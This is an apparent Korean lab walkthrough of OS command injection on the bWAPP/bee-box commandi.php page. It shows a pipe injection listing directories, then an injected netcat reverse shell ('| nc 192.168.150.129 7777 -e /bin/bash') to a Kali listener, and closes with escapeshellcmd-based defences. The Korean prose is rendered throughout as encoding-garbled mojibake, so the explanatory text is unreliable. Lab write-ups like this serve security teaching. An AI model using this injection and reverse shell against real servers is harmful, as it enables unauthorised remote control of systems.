iframe ์ธ์ ์
์ค์ต์ ์ด์ด์,
์ค๋์ ์ธ์ ์
๊ธฐ๋ฒ ์ค OS ์ปค๋งจ๋ ์ธ์ ์
์ ์ค์ตํด๋ณผ๊ฒ์.
์ค์ตํ๋ ๋ชจ๋ ๊ณต๊ฒฉ์ ์ค์ ๋ก ์ฌ์ฉํ์๋ฉด ์๋ฉ๋๋ค.
ํ์ฉ๋ฐ์ง ์์ ์๋น์ค ๋์์ ํดํน์ ์๋ํ๋ ํ๋์ ๊ธ์งํ๋ฉฐ,
๋ชจ๋ ๋ฒ์ ์ฑ
์์ ์ฌ์ฉ์์๊ฒ ์๋ ๊ฒ์ ๋ช
์ฌํด์ฃผ์ธ์
๋จผ์ ์ค์ตํ๊ธฐ ์ ์ ๊ฐ๋จํ๊ฒ OS Command Injection์ ๊ณต๊ฒฉ ํ๋ฆ๋๋ฅผ ์์๋ณด๊ณ ์์ํ๋๋ก ํ ๊ป์.
์ปค๋งจ๋ ์ธ์ ์
์ด๋ ์ทจ์ฝํ ๋ณ์๋ก ์์คํ
๋ช
๋ น์ด๋ฅผ ์ฃผ์
ํ์ฌ ์๋ฒ ์ด์์ฒด์ ์ ์ ๊ทผํ๋ ๊ณต๊ฒฉ์
๋๋ค.
๋ณดํต ์น ํ์ด์ง์์ ์๋ฒ์ ์์คํ
์
ธ์ ํธ์ถํ ๋, ๊ด๋ฆฌ์๊ฐ ์๋ํ ๋ช
๋ น์ด๊ฐ ์๋
๋ค๋ฅธ ๋ช
๋ น์ด๋ฅผ ์ฃผ์
ํ์ฌ ์๋ฒ ์ ๋ณด๋ฅผ ์์๋ด๋ ๊ณต๊ฒฉ์
๋๋ค.
'commandi.php'๋ ์
๋ ฅํ ์ฃผ์์ DNS ์ฃผ์๋ฅผ ์ถ๋ ฅํฉ๋๋ค. ์ด๋ DNS๋ฅผ ์กฐํํ๋ ๋ช
๋ น์ด์ธ nslookup์ ์ฌ์ฉํ์ฃ !
์ ๊ทธ๋ผ Command Injection์ ์์ํด๋ณผ๊ป์!
๋์ด๋ ํ
๋จผ์ low๋จ๊ณ๋ก ๋ค์ด๊ฐ์ค๋๋ค.
๋ค์ด๊ฐ๋ณด๋ฉด
์ด๋ฐํ๋ฉด์ด ๋จ์ฃ .
๋ค์๊ณผ ๊ฐ์ด ํ
์คํธ ํ๋์ ํ์ดํ ๋ผ์ธ๊ณผ ํจ๊ป ์ํ๋ ๋ช
๋ น์ด๋ฅผ ์
๋ ฅ ํ ์ ์๋๋ฐ์.
์ฌ๊ธฐ์๋ ๋๋ ํฐ๋ฆฌ์ ๋ชฉ๋ก์ ํ์ํ๋ ๋ช
๋ น์ด ' ls '๋ฅผ ์ฌ์ฉํด์ค๋๋ค.
ํ์ดํ๋ผ์ธ ' | ' ์ ๋ ์ด์์ ๋ช
๋ น์ด๋ฅผ ์คํํ ๋ ์ฌ์ฉํ๋ฉฐ, ์์ ๋ช
๋ น์ ์คํ ํ ํ์ดํ๋ผ์ธ ๋ค ๋ช
๋ น์ด๋ฅผ ์คํ์ํจ๋ค.
์ด๋ ๊ฒ ํ์ดํ๋ผ์ธ์ ์ฌ์ฉํ์ฌ OS ์ปค๋งจ๋ ์ธ์ ์
์ ๊ฒฐ๊ณผ๋ก ์๋ฒ ์์คํ
์ ๊ฐ์ฅ ์์์ ์๋
๋๋ ํฐ๋ฆฌ ์ ๋ณด๋ฅผ ์ถ๋ ฅ ํ ์ ์์ต๋๋ค.
์ด๋ ๊ฒ bin dev etc๋ฑ ์์ ๋๋ ํฐ๋ฆฌ๋ค์ด ์ถ๋ ฅ๋์๋ค์.
OS ์ปค๋งจ๋ ์ธ์ ์
์ ๋ท์บฃ(Netcat) ๋ช
๋ น์ด๋ฅผ ์
๋ ฅํ๋ฉด ๋น๋ฐ์ค์ ์๋ฒ ์ ๋ณด๋ฅผ ์ธ๋ถ์์ ํ์
ํ ์๊ฐ ์๋๋ฐ์.
์นผ๋ฆฌ ๋ฆฌ๋
์ค๋ฅผ ์คํํ์ฌ ๋ฆฌ์ค๋ ๋ชจ๋๋ก ๋ท์บฃ์ ์คํํด๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค.
์ค์ต์ ์์, ์ด ๊ณต๊ฒฉ์ ์ดํด๊ฐ ๋ค์ ์ด๋ ค์ด ๋ถ๋ถ์ด ์์ ์ ์์ ๊ฒ ๊ฐ์
์ดํด๋ฅผ ๋๊ธฐ์ํด ๊ทธ๋ฆผ์ผ๋ก ๊ทธ๋ ค๋ณด์์ต๋๋ค. ์ดํดํ์๋๋ฐ ์ฐธ๊ณ ํ์๋ฉด ์ข์ ๊ฒ ๊ฐ์์.
์ด์ด์ ์ค์ต์ ์์ํ๊ฒ ์ต๋๋ค.
๋จผ์ ์นผ๋ฆฌ๋ฆฌ๋
์ค๋ฅผ ์คํํ์ฌ ๋ช
๋ น์ด๋ฅผ ์
๋ ฅํด ์ค๋๋ค. (sudo su ๋ก ์ ๊ทผํด์ฃผ์ธ์.)
-l ์ ๋ฆฌ์ค๋ ๋ชจ๋, -p ๋ ํฌํธ๋ฒํธ๋ฅผ ์ง์ ํ๋ ์ต์
์
๋๋ค.
์
๋ ฅ ํ ๋ค์ bee-box๋ก ๋์๊ฐ์ commandi.php ํ์ด์ง ์
๋ ฅ๋์ ๋ท์บฃ์ ์คํํ๋ ๋ช
๋ น์ด๋ฅผ ์
๋ ฅํด์ค๋๋ค.
| nc 192.168.150.129 7777-e "/bin/bash"
๋ท์บฃ๊ณผ ์ฐ๊ฒฐํ๊ธฐ ์ํ์ฌ ์นผ๋ฆฌ ๋ฆฌ๋
์ค์ IP์ฃผ์์ ํฌํธ ๋ฒํธ๋ฅผ ์ธ์ ๊ฐ์ผ๋ก ์
๋ ฅํด์ผ ํฉ๋๋ค.
์นผ๋ฆฌ ๋ฆฌ๋
์ค์์ ๋น๋ฐ์ค ์๋ฒ์ ์ ๋ณด๋ฅผ ์๊ธฐ ์ํ์ฌ ๋ช
๋ น์ด๋ฅผ ์คํํด์ผ ํ๋ฏ๋ก -e์ต์
์ผ๋ก bash์
ธ์ ์คํํด์ค๋๋ค.
(๋ณด์์ -e ์ต์
์ ์ฌ์ฉํ๋ฉด ๊ณต๊ฒฉ์๊ฐ ํ์ฉํ ์ ์์ผ๋ฏ๋ก ์ค๋ฌด์์๋ telnet๋ช
๋ น์ด๋ก ์ด๋ฅผ ์ฐํํฉ๋๋ค.)
ํ์ฌํผ! ๋ช
๋ น์ด๋ฅผ ์
๋ ฅ ํ Lookup์ ํด๋ฆญํ๊ณ , ์นผ๋ฆฌ ๋ฆฌ๋
์ค๋ก ๋์์์ ๋ท์บฃ์ ์คํํ ํฐ๋ฏธ๋์
๋ช
๋ น์ด๋ฅผ ์
๋ ฅํ๋ฉด ์๋ฒ ์ ๋ณด๋ฅผ ํ์ธํ ์ ์์ต๋๋ค.
ls์ ๊ฐ์ ๋ช
๋ น์ด๋ฅผ ์
๋ ฅํด๋ณด์๋๋ ์ ๋๋ก ์ ๋ณด๊ฐ ํ์ธ๋๋ค์.
--> ์์คํ
์นจํฌ ์ฑ๊ณต
๋์๋ฐฉ์
๋์ด๋ ์์์๋ ํ์ดํ๋ผ์ธ์ ์ฌ์ฉํ์ฌ๋ ์ธ์ ์
๊ฒฐ๊ณผ๊ฐ ๋์ค์ง ์์ต๋๋ค.
commandi.php ํ์ด์ง์ ์์ค ์ฝ๋๋ฅผ ํ์ธํด๋ณด๋ฉด
์ด๋ ๊ฒ commandi_check_2๋ผ๋ ํจ์๋ก ์ฐํ๋ฅผ ํ๊ณ ์์ต๋๋ค.
functions_external.php ์ ์ ์๋์ด์๋ ํจ์ commandi_check_2 ์ ํ์ธํด๋ณด์๋๋
escapeshellcmd ํจ์๋ก ์ฐํํ๊ณ ์๋ค์.
escapeshellcmd ==> ์์คํ
์
ธ๋ก ์คํํ ์ ์๋ ํน์ ๋ฌธ์์ ๋ฐฑ์ฌ๋์๋ฅผ ๋ถ์ฌ
๋ช
๋ น์ ์คํํ ์ ์๋๋ก ๋ฐฉ์ดํด์ค๋๋ค.
์ฌ์ฉํ ์ ์๋ ์ฐํ ๋ฌธ์๋ ' #, &, ;, ', |, *, ?, ~, <, >, ^, (, ), [, ], {, }, $, \, \x0A, \xFF, ., ', " ' ๊ฐ ์์ต๋๋ค.
์์คํ
๋ช
๋ น์ด๋ฅผ ์ธ๋ถ์์ ์ฌ์ฉํ์ง ๋ชปํ๋๋ก ํ๋๊ฒ ๊ฐ์ฅ ์ข์ ๋์๋ฐฉ์ ์ด์ง๋ง ,
๋ถ๋์ด ํ๊ฒ ์์คํ
๋ช
๋ น์ด๋ฅผ ์ฌ์ฉํ์ฌ์ผ ํ ๊ฒฝ์ฐ์๋ ํ์ํ ๋ช
๋ น์ด ์ด์ธ์ ๋ค๋ฅธ ๋ช
๋ น์ด๋ฅผ ์ฌ์ฉํ ์ ์๋๋ก
์์ ๊ฐ์ ๋ฌธ์๋ค์ ์ฐํํ๋ ํจ์๋ฅผ ์ฌ์ฉํ์ฌ ๋์ํ์ฌ ์ค๋๋ค!